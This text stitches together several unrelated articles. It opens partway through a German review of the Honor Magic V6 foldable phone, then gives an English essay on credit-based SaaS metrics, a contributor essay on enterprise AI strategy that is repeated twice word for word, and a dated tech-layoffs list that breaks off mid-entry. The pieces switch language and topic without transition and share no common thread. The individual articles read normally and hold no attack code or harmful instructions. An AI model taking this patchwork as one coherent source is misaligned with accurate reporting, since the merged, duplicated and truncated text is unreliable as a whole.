Das lässt sich zwar leicht beheben, und ich kann die Logik dahinter nachvollziehen – schließlich bieten Honor-Smartphones stets eine hervorragende Akkulaufzeit –, doch es ist äußerst ärgerlich, und ich würde mich sehr freuen, wenn dieses Problem behoben würde.

Honor verspricht sieben Jahre lang Software-Updates und Sicherheitspatches für seine Flaggschiff-Geräte und liegt damit auf einer Stufe mit Samsung und Apple. Viel besser geht es kaum, auch wenn Sie möglicherweise eine Weile auf das auf Android 17 basierende MagicOS 11 warten müssen.

Preis & Verfügbarkeit

Das Honor Magic V6 kann ab sofort in Deutschland und den meisten anderen Ländern der Welt bestellt werden, wobei die USA wie üblich ausgeschlossen sind. Hierzulande liegt der Preis bei stolzen 2.299 Euro, wobei es bis zum 31. Juli noch einen Rabatt von 600 Euro gibt (Endpreis: 1.699,90 Euro).

Als besonderes Einführungsangebot legt Honor auch eine Reihe kostenloser Extras wie ein Tablet, einen Stift und ein Set Earbuds bei. Das macht eine Beurteilung des Preises ziemlich schwierig. Auf dem Papier ist das Magic V6 deutlich teurer als das V5, das im vergangenen Jahr für 1.999 Euro auf den Markt kam. Und das schmerzt, insbesondere wenn man bedenkt, dass es seinem Vorgänger so ähnlich ist. Mit dem Rabatt ist es jedoch günstiger.

Preislich bewegt es sich trotzdem noch in einem ähnlichen Rahmen wie viele andere Falt-Smartphones, die wir getestet haben. Darunter das Motorola Razr Fold, das Samsung Galaxy Z Fold 7 und das Google Pixel 10 Pro Fold.

Sollten Sie das Honor Magic V6 kaufen?

Das Magic V6 ist zweifellos eines der attraktivsten faltbaren Smartphones, die derzeit auf dem Markt erhältlich sind. Die Hardware ist hervorragend, die Bildschirme sind beeindruckend, es ist leistungsstark und die Kameras sind erstklassig. Wenn Sie ein faltbares Smartphone mit großem Bildschirm suchen, aber bei den Kameras keine allzu großen Abstriche machen möchten, ist dies eine hervorragende Wahl.

Allerdings könnten versierte Käufer sich für das Vorjahresmodell entscheiden und für deutlich weniger Geld ein sehr ähnliches Gesamterlebnis erhalten. Es ist nach wie vor extrem leistungsstark und verfügt über dieselben Kameras. Es wird jedoch nicht ewig vorrätig sein.

Man sollte auch bedenken, dass das Galaxy Z Fold 8 und das Z Fold 8 Ultra voraussichtlich im Juli 2026 erscheinen werden, während Apples lang erwartetes faltbares iPhone wahrscheinlich im September vorgestellt wird. Ich persönlich würde mir daher erst einmal ansehen, was diese Modelle zu bieten haben, bevor ich den Sprung wage.

Wenn Sie nicht warten können, ist das Honor Magic V6 eine hervorragende Wahl und wird dies wahrscheinlich auch bleiben. Ich kann mir nicht vorstellen, dass Samsung die Akkukapazität übertreffen wird, und ich bezweifle sehr, dass es in puncto Kameraleistung übertroffen wird. Abgesehen von ein paar kleinen Software-Mängeln ist es ein brillantes Smartphone.

Technische Daten

• MagicOS 10, basierend auf Android 16
• Außen: 6,52 Zoll, 1.080 x 2.420, OLED, 120 Hz
• Innen: 7,95 Zoll, 2172 × 2352, OLED, 120 Hz
• Fingerabdrucksensor im Ein-/Aus-Schalter
• Qualcomm Snapdragon 8 Elite Gen 5
• 16 GB RAM
• 512 GB Speicher
• Kamera:
• 50 MP, f/1,6 Hauptkamera
• 64 MP, f/2,5, 3-fach-Teleobjektiv
• 50 MP, f/2,2 Ultraweitwinkel
• Doppelte 20-MP-Selfie-Kamera mit f/2,2
• Videoaufnahmen mit bis zu 4K bei 60 fps (Rückkamera)
• Stereolautsprecher
• Dual-SIM
• WLAN 802.11 a/b/g/n/ac/6e/7
• Bluetooth 6.0
• 6660-mAh-Akku
• 80-W-Laden über Kabel
• 66 W kabelloses Laden
• 156,7 × 74,5 × 8,8 mm (zusammengeklappt)
• IP69-zertifiziert
• 219 g
• Farben: Gold, Rot, Weiß, Schwarz

(PC-Welt)

The traditional methods of measuring success no longer tell the full story. Here’s what should replace them — and why.

In brief:

• AI is transforming software as a service (SaaS), and the old ways of keeping score no longer apply.
• Smart companies are evolving new metrics that provide deeper insight into how AI-native software is performing in a new marketplace.
• These changes impact everything from pricing to valuations.

The transformation of the software-as-a-service (SaaS) industry toward AI-native operating companies is rapidly changing the unit of value across the industry.

The traditional metric of seats — which measured access — is rapidly giving way to credits designed to measure work performed. This evolution is upending the industry in multiple ways, impacting everything from pricing to enterprise valuations.

While many companies still cling to seat-based metrics to measure growth, efficiency and durability, the future is likely to be one in which companies utilize a credit-centric metrics framework, with seats and outcomes as the bookends of a spectrum.

Why do software companies need new metrics?

Why the rethink, and why now? There are five major forces that are driving this shift:

1. The unit of value is changing. Seats measured who could access software, and credits measure what the software actually does. But in an AI-native world, agents don’t have seats; they have workloads. Over the past 18 months, every major SaaS platform has moved to some forms of credit or consumption unit.
2. The cost of goods sold (COGS) is exploding. AI inference adds real per-unit costs that scale with usage. In an AI-native world, software companies can’t scale to infinite users at near‑zero marginal cost as before.
3. Buying is moving up the org chart. AI-native applications shift purchasing to higher-level operators — such as line-of-business leaders or chief operating officers — which expands the market from software budgets to labor budgets. And because AI agents replace services as well as software, the total market opportunity is 3x to 10x larger than traditional SaaS.
4. Time to value (TTV) is collapsing. With AI-native tools, customers start seeing meaningful results in weeks rather than quarters. Onboarding and setup are fast, workflows are pre-built, and there’s no need for extensive customer success or professional services — dramatically reducing implementation time and costs.
5. Retention is bifurcating. AI forces clarity in a way that traditional SaaS couldn’t. Products that can provide value become even “stickier” and retain customers. Those that don’t churn faster. In an AI-native marketplace, the middle disappears.

How this shift is impacting pricing

Given how AI-native software is transforming the market, the shift to more variable pricing options is inevitable.

Seats won’t go away completely. Subscription pricing based on the number of users is stable and predictable and will continue to work for some customers. Tokens — the use of pass-through pricing for underlying compute — will fit those customers where the AI feature is commoditized or the buyer wants transparency into costs.

Credits will likely become the dominant architecture because they provide a simple metric for both customers and providers. The vendor sets the conversation ratio between credits and underlying compute, shielding the customer from inference cost details. Credits are easy to understand and can be packaged into annual contracts for multiple features and products.

Finally, the industry will likely see some move toward outcome-based pricing for results such as resolved tickets, recovered revenue or qualified leads. This strategy will mostly be limited to verticals where it is easy to prove AI impacted the result.

Where a software vendor sits on this spectrum is a signal of differentiation and pricing power. Credits are where most defensible AI-native businesses are landing because they balance customer predictability with vendor margin control.

How AI upends classic SaaS metrics

When SaaS was in its infancy, companies settled on key metrics designed to answer a small set of core questions. Are we growing? Are customers using the product? Are we retaining and expanding accounts?

But as AI upends software itself, it is also requiring companies to adopt new metrics to track success. These new metrics fall into three primary buckets, rebuilt around the pricing spectrum described earlier and the trend toward credits as the primary frame:

Revenue composition

• Committed credit annual recurring revenue (ARR) vs. burndown ARR: Measuring the credits sold on annual commitment vs. those consumed and replenished. This is the single most important split for valuation. Committed credits behave like subscription and burndown behaves like usage.
• Credit utilization rate: The percentage of purchased credits consumed per period. This is a leading indicator of renewal sizing.
• Credit burn velocity: How fast is a customer consuming their credits, and is that consumption increasing or decreasing quarter over quarter? This metric predicts expansion or contraction before it shows up in ARR.
• Effective price per credit: The real revenue per credit after discounts, overage and rollover, which can detect revenue leakage and help companies set smarter guide rails.

Margin reality

• Credit margin: The gross profit the company earns per credit after subtracting inference costs. This is the core economic unit for AI-native, usage-based businesses — the replacement for gross margin per seat used in SaaS.
• Inference-adjusted gross margin: By carving out AI inference costs separately in the P&L statement, you can see true AI margins, avoid hiding deterioration inside blended SaaS margins, and clearly distinguish AI economics from legacy SaaS economics.
• Compute leverage ratio: This metric measures how efficiently the business converts compute spend into revenue. It shows whether your AI margins are improving as you scale.
• AI-adjusted “Rule of 40”: This updated metric recalibrates the traditional growth and profitability benchmark to account for AI’s lower gross margins and variable inference costs, giving a more accurate picture of business health for AI-native companies.

Behavioral and value signals

• Time-to-first outcome: Replaces traditional onboarding metrics. Tracks how fast a customer reaches their first measurable result.
• Adoption: AI-native adoption is measured by workflow penetration and active agent density, not seat count. As AI replaces human-driven usage, the unit of adoption shifts from people to automated workflows and agents.
• Net credit retention (NCR): Credit-volume retention across the customer base, tracked separately from net recurring revenue to avoid price-change impact.

Along with these new metrics, the industry’s transformation is prompting companies to retire or recalibrate old SaaS measures, including per-seat ARR as a primary key performance indicator (KPI), traditional magic number calibrated to subscription dynamics, unadjusted Rule of 40, customer success metrics tied to human touchpoints, and blended gross margin without AI COGS carve-outs.

What does this mean for enterprise value calculations?

As the internal metrics of success change, so do the ways the investment community measures growth and long-term viability.

Increasingly, a company’s valuation multiple depends on whether its revenue behaves like committed subscription ARR or volatile usage ARR, and the commit‑to‑burndown ratio is the metric investors use to decide where the company fits.

For example, a business with 80% committed credit ARR could trade closer to subscription comps and one with 80% burndown could trade closer to usage comps even though both have the same types of customers. Being able to proactively explain the commit‑to‑burndown mix can help companies avoid undervaluation.

In addition, utilization is expected to replace net promoter scores and seat usage as the primary predictor of churn or expansion. Low utilization guarantees downsizing at renewal, so companies must track utilization cohorts the same way SaaS tracks logo retention cohorts today.

We’re also seeing an inversion of the operating model, with R&D and COGS moving up the P&L and sales and marketing (S&M) and customer success (CS) moving down or sideways. The net operating leverage profile is structurally different from classical SaaS, and the cost-to-scale curve looks different too.

Finally, credit margin engineering is a hidden value-creation lever. The gap between price per credit and cost per credit is set by the software vendor and can be optimized. Most operators have barely started managing this rigorously, and the ones who do will pull away on margin.

What this means for leaders, boards and investors

The shift from classic SaaS metrics to new AI‑native measures isn’t cosmetic. It represents the seismic change the industry is experiencing as AI matures and transforms products and organizations.

While these metrics — and perhaps others yet to be determined — may evolve over time, there is no doubt they are already changing how AI companies allocate capital, price products, incent sales teams, evaluate performance and communicate with investors.

It’s important to remember that SaaS metrics were practical tools for a specific era of software. As that era draws to a close, winning companies will choose new metrics that shape behavior and drive smart decision-making.

The views reflected in this article are the views of the author and do not necessarily reflect the views of Ernst & Young LLP or other members of the global EY organization.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

I have worked alongside enterprise technology for more than 30 years and watched AI evolve from a lab experiment into the modern boardroom’s core focus. However, the last few years of implementing AI alongside our customers have delivered our most profound reality checks.

The initial hype has faded, leaving CIOs to drive real enterprise value. Based on my experience implementing Google, OpenAI and Anthropic technologies, here are the fundamental, technology-agnostic lessons every leader must anchor their strategy around.

AI as a leadership multiplier

The most common tactical error we see is treating AI as an isolated technology project. What I have observed among our customers is that true success does not come from organizations that define a standalone “AI strategy,” but rather from those leaders that integrate AI into their business strategy.

When our customers isolate AI and define an AI strategy, it inevitably treats it like a “technological toy” to experiment with. This approach yields fragmented, orphaned initiatives that fail to scale because they are fundamentally disconnected from their core corporate objectives. What I learned is that AI is not the ultimate destination; it is a powerful catalyst. We have replaced “What can AI do for our customers?” with a more strategic question, “How does AI accelerate their existing business goals?”

Think of AI like electricity. No modern corporation designs a standalone “electricity strategy.” Instead, all companies route it invisibly across the entire organization to illuminate offices, power production lines and drive communication. AI must be woven into the enterprise fabric in the exact same way, acting as an underlying utility that supercharges your existing operational model.

Integrating AI into the broader business strategy also dictates how we measure success. It forces a shift away from short-term tech vanity metrics and anchors the technology into a long-term roadmap.

When AI remains trapped within the IT department of our customers, we notice that it is relegated to a mere “software experiment.” To become a true competitive advantage, we observed that AI requires intense cross-functional orchestration. This perspective does not diminish the merit of the technical team; their expertise is fundamental for establishing the architecture, data governance and tools your enterprise requires. However, while IT builds the foundational infrastructure, it lacks the organizational authority to decide what should be built on top of it. Only the CEO or the owner of the company can step in to ensure AI leaves the “toy project” phase and integrates into the DNA of the organization.

The requirement for top-down, executive ownership stems from three critical realities observed in the field:

• Silo-smashing and data collaboration: True enterprise AI is data-hungry and that data lives across disparate business lines, finance, operations, marketing and customer service. Only the CEO possesses the cross-functional authority to demand that data silos be dismantled.
• Cultural transformation and fear mitigation: AI triggers widespread anxiety over job displacement across all industries and hierarchies. When relegated to an “IT project,” resistance spikes as teams view it as a threat to their livelihoods. When I saw the CEO lead this cultural shift directly is when I noticed the best results.
• C-Suite education and strategic alignment: The mandate for AI capability cannot just be delegated downward; the transformation must begin at the very top. I have conducted more than 70 presentations for the Board of Directors and C-Level teams. These people need to be actively educated not on technical code, but on specific business use cases, return on investment (ROI) frameworks and how AI resolves core organizational bottlenecks.

PwC’s data found that only 12% of enterprises have achieved both cost and revenue benefits from AI. Those elite 12% succeeded precisely because their CEOs embedded AI extensively across strategic decision-making and cross-functional workflows. AI is simply too disruptive and too critical to be left exclusively in the hands of technical experts. If AI is not on the CEO’s weekly agenda, it is fundamentally missing from the company’s true strategy.

AI as a new operational framework

Traditional IT systems have operated on strict algorithmic certainty: if you input a specific set of data, the system executes an immutable line of code and guarantees the same, predictable output every single time.

AI completely breaks this paradigm. Because modern AI is built on probabilistic models, it does not execute static formulas; instead, it predicts the most likely correct response based on mathematical probabilities. This means that AI solutions carry an inherent, small percentage of uncertainty and variability. A prompt entered today might yield a slightly different, though contextually valid, output tomorrow.

Executive leadership and organizational cultures must be actively educated to accept and navigate this fundamental shift. Traditional quality assurance frameworks for software are designed for a 100% success rate. Applying this rigid standard to AI will paralyze your initiatives, keeping 80% of your projects trapped eternally in the pilot phase. This happened to us in a food and beverage company in Latin America a couple of years ago. After this experience, we started to include conditions in our contracts that tolerate statistical margins of error and still define the project as a success.

In terms of cost calculation, we had to teach CIOs and business managers to forget the monthly subscription model for AI and learn to manage the primary unit of exchange in modern AI: the token.

To understand AI costs, executives must understand how large language models process data. AI models do not read full words; instead, they break text, images or code down into “pieces” called tokens. As a baseline, every 100 words process as approximately 130 to 140 tokens. Because the major AI providers use the token as their currency, your business is billed dynamically based on the exact volume of tokens consumed by every query submitted (input) and every response generated (output).

Many leaders believe AI costs are fixed due to flat-rate enterprise tiers ($25–$30/user). This is a temporary illusion. These venture-capital-subsidized rates mask true operational costs and come with dynamic usage limits. Modeling long-term ROI on them guarantees a severe budget shock when true consumption pricing takes over.

The solution is not to halt AI adoption; doing so means losing your competitive edge. Instead, the cost per token must cease to be treated as a technical footnote relegated to the IT department. It must be elevated to a core business variable.

Risks in the AI adoption model

Since the beginning of the AI boom, I have seen all our customers making a critical tactical error that could cost them heavily in the medium term: they are focusing only on operational efficiency (reducing costs with AI).

I have observed that an alarmingly high percentage of companies remain trapped in pilot phases focused exclusively on short-term cost reduction. Bain & Company’s global Automation and AI Pathfinder Survey found that the largest share of companies measuring their AI initiatives (exactly 40%) realized cost reductions of 10% or less, heavily missing their internal targets. Our customers are putting too many resources and effort into marginal financial gains and in doing so, they are jeopardizing their most valuable assets: service quality, resilience and customer trust.

Utilizing AI solely to slash headcount or cut operational corners is a dangerous trap that introduces severe field liabilities. A financial service organization in Latin America announced that they saved $1 million in customer support by replacing humans with AI chatbots. However, the mid-term reality revealed a different story: a damaged brand reputation due to AI errors and an influx of frustrated clients fleeing because the automated system cannot handle special cases.

Putting a company on an extreme AI diet might make it look leaner on next quarter’s financial statement, but over-indexing on cost-cutting will ultimately leave the business too weak to compete when market dynamics shift. We are now inviting our customers to change the question from “How much money will AI save us?” to “How will we leverage AI to exponentially increase the long-term value of our enterprise?”

Deploying enterprise AI is a marathon, not a sprint, and the terrain changes with every mile. The organizations that thrive in this next era will be those that transition from fascination to discipline, treating AI not as a magic bullet for immediate savings, but as a core capability that demands rigorous governance, architectural foresight and cultural maturity. Navigating this shift requires moving past the theoretical hype and anchoring decisions in raw, field-tested reality.

As we continue to deploy these technologies across industries, the blueprint for success is being rewritten in real time. Let’s keep this conversation going as we map out the future of business intelligence together.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

I have worked alongside enterprise technology for more than 30 years and watched AI evolve from a lab experiment into the modern boardroom’s core focus. However, the last few years of implementing AI alongside our customers have delivered our most profound reality checks.

The initial hype has faded, leaving CIOs to drive real enterprise value. Based on my experience implementing Google, OpenAI and Anthropic technologies, here are the fundamental, technology-agnostic lessons every leader must anchor their strategy around.

AI as a leadership multiplier

The most common tactical error we see is treating AI as an isolated technology project. What I have observed among our customers is that true success does not come from organizations that define a standalone “AI strategy,” but rather from those leaders that integrate AI into their business strategy.

When our customers isolate AI and define an AI strategy, it inevitably treats it like a “technological toy” to experiment with. This approach yields fragmented, orphaned initiatives that fail to scale because they are fundamentally disconnected from their core corporate objectives. What I learned is that AI is not the ultimate destination; it is a powerful catalyst. We have replaced “What can AI do for our customers?” with a more strategic question, “How does AI accelerate their existing business goals?”

Think of AI like electricity. No modern corporation designs a standalone “electricity strategy.” Instead, all companies route it invisibly across the entire organization to illuminate offices, power production lines and drive communication. AI must be woven into the enterprise fabric in the exact same way, acting as an underlying utility that supercharges your existing operational model.

Integrating AI into the broader business strategy also dictates how we measure success. It forces a shift away from short-term tech vanity metrics and anchors the technology into a long-term roadmap.

When AI remains trapped within the IT department of our customers, we notice that it is relegated to a mere “software experiment.” To become a true competitive advantage, we observed that AI requires intense cross-functional orchestration. This perspective does not diminish the merit of the technical team; their expertise is fundamental for establishing the architecture, data governance and tools your enterprise requires. However, while IT builds the foundational infrastructure, it lacks the organizational authority to decide what should be built on top of it. Only the CEO or the owner of the company can step in to ensure AI leaves the “toy project” phase and integrates into the DNA of the organization.

The requirement for top-down, executive ownership stems from three critical realities observed in the field:

• Silo-smashing and data collaboration: True enterprise AI is data-hungry and that data lives across disparate business lines, finance, operations, marketing and customer service. Only the CEO possesses the cross-functional authority to demand that data silos be dismantled.
• Cultural transformation and fear mitigation: AI triggers widespread anxiety over job displacement across all industries and hierarchies. When relegated to an “IT project,” resistance spikes as teams view it as a threat to their livelihoods. When I saw the CEO lead this cultural shift directly is when I noticed the best results.
• C-Suite education and strategic alignment: The mandate for AI capability cannot just be delegated downward; the transformation must begin at the very top. I have conducted more than 70 presentations for the Board of Directors and C-Level teams. These people need to be actively educated not on technical code, but on specific business use cases, return on investment (ROI) frameworks and how AI resolves core organizational bottlenecks.

PwC’s data found that only 12% of enterprises have achieved both cost and revenue benefits from AI. Those elite 12% succeeded precisely because their CEOs embedded AI extensively across strategic decision-making and cross-functional workflows. AI is simply too disruptive and too critical to be left exclusively in the hands of technical experts. If AI is not on the CEO’s weekly agenda, it is fundamentally missing from the company’s true strategy.

AI as a new operational framework

Traditional IT systems have operated on strict algorithmic certainty: if you input a specific set of data, the system executes an immutable line of code and guarantees the same, predictable output every single time.

AI completely breaks this paradigm. Because modern AI is built on probabilistic models, it does not execute static formulas; instead, it predicts the most likely correct response based on mathematical probabilities. This means that AI solutions carry an inherent, small percentage of uncertainty and variability. A prompt entered today might yield a slightly different, though contextually valid, output tomorrow.

Executive leadership and organizational cultures must be actively educated to accept and navigate this fundamental shift. Traditional quality assurance frameworks for software are designed for a 100% success rate. Applying this rigid standard to AI will paralyze your initiatives, keeping 80% of your projects trapped eternally in the pilot phase. This happened to us in a food and beverage company in Latin America a couple of years ago. After this experience, we started to include conditions in our contracts that tolerate statistical margins of error and still define the project as a success.

In terms of cost calculation, we had to teach CIOs and business managers to forget the monthly subscription model for AI and learn to manage the primary unit of exchange in modern AI: the token.

To understand AI costs, executives must understand how large language models process data. AI models do not read full words; instead, they break text, images or code down into “pieces” called tokens. As a baseline, every 100 words process as approximately 130 to 140 tokens. Because the major AI providers use the token as their currency, your business is billed dynamically based on the exact volume of tokens consumed by every query submitted (input) and every response generated (output).

Many leaders believe AI costs are fixed due to flat-rate enterprise tiers ($25–$30/user). This is a temporary illusion. These venture-capital-subsidized rates mask true operational costs and come with dynamic usage limits. Modeling long-term ROI on them guarantees a severe budget shock when true consumption pricing takes over.

The solution is not to halt AI adoption; doing so means losing your competitive edge. Instead, the cost per token must cease to be treated as a technical footnote relegated to the IT department. It must be elevated to a core business variable.

Risks in the AI adoption model

Since the beginning of the AI boom, I have seen all our customers making a critical tactical error that could cost them heavily in the medium term: they are focusing only on operational efficiency (reducing costs with AI).

I have observed that an alarmingly high percentage of companies remain trapped in pilot phases focused exclusively on short-term cost reduction. Bain & Company’s global Automation and AI Pathfinder Survey found that the largest share of companies measuring their AI initiatives (exactly 40%) realized cost reductions of 10% or less, heavily missing their internal targets. Our customers are putting too many resources and effort into marginal financial gains and in doing so, they are jeopardizing their most valuable assets: service quality, resilience and customer trust.

Utilizing AI solely to slash headcount or cut operational corners is a dangerous trap that introduces severe field liabilities. A financial service organization in Latin America announced that they saved $1 million in customer support by replacing humans with AI chatbots. However, the mid-term reality revealed a different story: a damaged brand reputation due to AI errors and an influx of frustrated clients fleeing because the automated system cannot handle special cases.

Putting a company on an extreme AI diet might make it look leaner on next quarter’s financial statement, but over-indexing on cost-cutting will ultimately leave the business too weak to compete when market dynamics shift. We are now inviting our customers to change the question from “How much money will AI save us?” to “How will we leverage AI to exponentially increase the long-term value of our enterprise?”

Deploying enterprise AI is a marathon, not a sprint, and the terrain changes with every mile. The organizations that thrive in this next era will be those that transition from fascination to discipline, treating AI not as a magic bullet for immediate savings, but as a core capability that demands rigorous governance, architectural foresight and cultural maturity. Navigating this shift requires moving past the theoretical hype and anchoring decisions in raw, field-tested reality.

As we continue to deploy these technologies across industries, the blueprint for success is being rewritten in real time. Let’s keep this conversation going as we map out the future of business intelligence together.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

Among a range of factors leading to a wave of tech sector layoffs in 2026 is the rapid rise of artificial intelligence and automation. Companies are reconfiguring their workforces to leverage AI for increased efficiency and reduced operating costs. This realignment and reduction is implemented even by companies reporting strong financial performance.

But it’s not just AI leading to workforce cuts. Complementing this technological shift are ongoing economic uncertainty, inflation, and higher interest rates, compounded by a chip shortage and rising energy costs. This mix is driving companies to cut costs and streamline operations for increased efficiency.

According to data compiled by Layoffs.fyi, an online tracker that keep tabs on job losses in the technology sector, 123,941 tech employees were laid off at 269 companies in 2025. The site also reports that 71,981 government employees were laid off by DOGE alone, with 182,528 total federal workers laid off.

Here is a list — to be updated regularly — of some of the most prominent technology layoffs the industry has experienced recently.

Notable tech layoffs in 2026

• Monday.com
• Microsoft
• Meta
• Cisco
• Cloudflare
• Oracle
• Atlassian
• Salesforce
• Amazon
• Ericsson

July 22, 2026: Monday.com cuts 20% of its workforce to restructure for the AI era

The company says the decision to cut 620 jobs isn’t about margins, but about creating a flatter organization built around AI agents, autonomous teams, and deeper customer engagement.

July 6, 2026: Microsoft cuts 4,800 jobs, primarily in sales and Xbox teams

As the company trims thousands of jobs, it’s also investing in embedded engineering teams and AI infrastructure. The layoffs come several weeks after the company offered 8,750 US employees voluntary retirement buyouts.

June 5, 2026: Tech industry cut 38,242 jobs in May, worst since 2024

AI was blamed for 40% of the job cuts in May, up from 7% in January, according to research by employment placement company Challenger, Gray & Christmas.

May 20, 2026: Meta cuts 8,000 jobs, around 10% of workforce

The cuts are expected to expected to hit Meta’s engineering and product teams the hardest, arriving as Meta pivots toward AI to boost efficiency across its organization, according to Yahoo Tech.

May 13, 2026: Cisco to cut nearly 4,000 jobs despite strong growth in AI, enterprise networking

Despite reporting positive financial news — including record third-quarter revenue of $15.8 billion, a 12% year-over-year increase — Cisco said it will eliminate almost 4,000 jobs.

May 7, 2026: Cloudflare to cut 1,100 jobs in AI-focused restructuring

About 20% of Cloudflare’s global workforce will be culled as the company pivots for the agentic AI era, Reuters reported.

April 1, 2026: Oracle to cut up to 30,000 jobs globally, putting enterprise support and roadmaps at risk

Oracle began laying off employees on March 31 in what could be the largest workforce reduction in the company’s history. Employees received termination emails at 6 a.m. local time with immediate system lockouts and no prior warning. (Note: in June, CNBC put the final layoff tally at 21,000.)

March 12, 2026: Atlassian cuts 1,600 jobs to fund AI and enterprise expansion

Atlassian will reduce its global workforce by approximately 10%, eliminating around 1,600 roles, as the collaboration software maker redirects capital toward artificial intelligence development and enterprise sales.

March 11, 2026: Tech layoffs surpass 45,000 in early 2026

A recent analysis by RationalFX found 45,363 job cuts globally so far this year—with roughly 68% or more than 30,000 occurring in the U.S. — highlighting ongoing workforce cuts even as many tech companies report strong revenue growth.

February 10, 2026: Salesforce lays off staffers as executive leadership churn continues

Salesforce has reduced close to 1,000 roles earlier this month across teams, including marketing, product management, data analytics, and its Agentforce AI unit, Business Insider reported, quoting employees familiar with the matter.

January 23, 2026: Amazon layoffs expected to disproportionately hit AWS and tech talent

As the market slows down, AWS and other Amazon units are preparing for another round of layoffs, which is expected to overwhelmingly impact tech talent. An email from HR leader Beth Galetti on Jan. 28 confirmed 16,000 job cuts.

January 15, 2026: Ericsson plans to shed 1,600 jobs in Sweden

 Ericsson lans to cut some 1,600 jobs in Sweden, the telecommunications equipment maker said doubling down on recent cost-saving measures that have helped it weather a prolonged downturn in telecoms spending, Reuters reports.

January 13, 2026: Meta plans to cut around 10% of employees in Reality Labs business

Meta plans to cut around 10% of the employees in its Reality Labs division who work on products including the metaverse, according to three people with knowledge of the discussions, according to The New York Times.

Layoffs in 2025

• Cisco
• Oracle
• Windsurf
• Intel
• Microsoft
• Crowdstrike
• HPE
• Autodesk
• HPE
• CISA
• Workday
• Salesforce
• Meta

Global tech-sector layoffs surpass 244,000 in 2025

Economic uncertainty, elevated interest rates, and AI adoption have driven workforce reductions across tech companies worldwide, according to a RationalFX report.

October 28, 2025: Amazon to cut 14,000 jobs across company

Amazon will reduce its overall workforce by 14,000, cutting layers of management across the company and hiring in some areas to support its “biggest bets”.

August 18, 2025: Cisco and Oracle to cut hundreds of Bay Area jobs

Tech companies Cisco and Oracle are cutting hundreds of jobs across the Bay Area. Cisco will eliminate 221 positions at its Milpitas and San Francisco offices, effective Oct. 13. Oracle is reducing 101 positions in Santa Clara on the same date 

August 5, 2025: 3 weeks after acquiring Windsurf, Cognition offers staff the exit door

Cognition, the AI coding startup that acquired rival company Windsurf three weeks ago, laid off 30 employees last week and is offering buyouts to the roughly 200 remaining employees on the team, reports The Information.

July 25, 2025, Intel to lay off 22% of workforce, CEO Tan signals ‘no more blank checks’

Intel will reduce its workforce to 75,000 employees by the end of 2025 as new CEO Lip-Bu Tan implements sweeping changes designed to transform the struggling chipmaker

July 8, 2025, Intel layoffs begin: Chipmaker is cutting many thousands of jobs

Intel has begun laying off employees across the company. CEO Lip-Bu Tan told workers back in April to expect major layoffs at Intel in the coming months as the chipmaker slashes costs and overhauls its organization after years of technical setbacks and falling sales.

July 2, 2025: Microsoft will cut 9,000 workers

Microsoft will lay off about 9,000 employees, a source familiar with the workforce cut told CNBC.  The cuts will reportedly affect less than 4% of Microsoft’s global workforce and will impact different teams, geographies and levels of experience. This is the latest in a string of cuts the tech giant has made this year.

June 17, 2025: Intel looks to factory layoffs to return to profitability

Intel will lay off up to 20% of its manufacturing sector employees starting in July, according to media reports, as the company looks for options as it seeks a return to profitability. The cuts reportedly will be made around the world, but some of the layoffs will be closer to home, according to a report in The Oregonian citing an internal company memo from Intel manufacturing Vice President Naga Chandrasekaran.

May 7, 2025: CrowdStrike to lay off 5% of staff

CrowdStrike announced a plan to cut about 500 roles, roughly 5% of its workforce, to streamline operations and reduce costs. The cybersecurity company will incur about $36 million to $53 million in charges related to the layoffs

March 6, 2025: HPE cuts 2,500 jobs, remains committed to Juniper buy

CEO Antonio Neri told Wall Street analysts that HPE would begin implementing a cost-cutting program involving layoffs of about 2,500 employees over the next 18 months. HPE employs about 61,000 people worldwide.

Feb. 27, 2025: Autodesk to lay off 9% of workforce

Software maker Autodesk is laying off 1,350 staff. With the rise of subscription and multi-year contracts billed annually, and self-service enablement, it finds it needs fewer sales staff, CEO Andrew Anagnost said in a message to employees. And with its cloud, platform, and AI products proving most profitable, it’s concentrating its staff and investments there.

Feb. 27, 2025: HP to lay off 2,000 more

As part of an ongoing restructuring, HP plans to lay off up to another 2,000 workers. In recent weeks, the company has tried — unsuccessfully — to do away with telephone support staff by forcing callers to wait for at least 15 minutes if they refuse to use self-service support resources online. The company swiftly backtracked, but wider job cuts are still on.

Feb. 21, 2025: CISA lays off 130

Government employees get laid off too: In this case, 130 workers at the US Cybersecurity and Infrastructure Security Agency are being shown the door as a result of a DOGE decision. Cybersecurity experts are concerned that the cuts will harm the international collaborations that CISA has fostered, quite apart from their concerns about the security of the DOGE layoff process itself.

Feb. 5, 2025: Workday lays off 1,750

As it moves to invest more in AI and international growth, Workday is laying off 8.5% of its workforce and disposing of unused office space. Some analysts fear the cutbacks will affect the company’s customer service — unless AI can pick up the slack.

Feb. 4, 2025: Salesforce lays off over 1,000

At the same time as it’s hiring sales staff for its new artificial intelligence products, Salesforce is laying off over 1,000 workers across the company, according to Bloomberg. As of June, 2024, the company had over 72,000 employees, according to its website. Salesforce did not comment on the report. In 2024 the company reportedly laid off around 1,000 staff too, in two waves: January and July.

Jan. 14, 2025: Meta will lay off 5% of workforce

Mark Zuckerberg told Meta employees he intended to “move out the low performers faster” in an internal memo reported by Bloomberg. The memo announced that the company will lay off 5% of its staff, or around 3,600 staff, beginning Feb. 10. The company had already reduced its headcount by 5% in 2024 through natural attrition, the memo said. Among those leaving the company will be staff previously responsible for fact checking of posts on its social media platforms in the US, as the company begins relying on its users to police content.

Tech layoffs in 2024

• Equinix
• AMD
• Freshworks
• Cisco
• General Motors
• Intel
• OpenText
• Microsoft
• AWS
• Dell

Nov. 26, 2024: Equinix to cut 3% of staff

Despite intense demand for its data center capacity, Equinix is planning to lay off 3% of its workforce, or around 400 employees. The announcement followed the appointment of Adaire Fox-Martin to replace Charles Meyers as CEO and the departures of two other senior executives, CIO Milind Wagle and CISO Michael Montoya.

Nov. 13, 2024: AMD to cut 4% of workforce

AMD will lay off around 1,000 employees as it pivots towards developing AI-focused chips, it said. The move came as a surprise to staff, as the company also reported strong quarterly earnings.

Nov. 7, 2024: Freshworks lays off 660

Enterprise software vendor Freshworks laid off around 660 staff, or around 13% of its headcount, despite reporting increased revenue and profits in its fourth fiscal quarter. The company described the layoffs as a realignment of its global workforce.

Sept. 17, 2024: Cisco lays off 6,000

After laying off around 4,200 staff in February, Cisco is at it again, laying off another 6,000 or around 7% of its workforce. Among the divisions affected were its threat intelligence unit, Talos Security.

Aug. 20, 2024: General Motors lays off 1,000 software staff

